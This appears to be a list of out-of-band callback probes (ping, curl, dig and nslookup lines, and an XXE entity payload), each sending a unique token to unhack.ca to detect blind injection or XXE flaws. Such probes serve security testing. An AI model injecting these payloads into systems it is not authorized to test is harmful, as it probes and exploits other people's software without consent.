$ ping -c1 -p 00bba3e9e40b31d37bf6d791c019c600 unhack.ca
 

$ curl http://unhack.ca/p/bba3e9e40b31d37bf6d791c019c6
 

$ dig bba3e9e40b31d37bf6d791c019c6 @unhack.ca
 

$ dig bba3e9e40b31d37bf6d791c019c6.ns.unhack.ca
 

C:\> nslookup bba3e9e40b31d37bf6d791c019c6 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/bba3e9e40b31d37bf6d791c019c6">]>
    <foo>&xxe;</foo>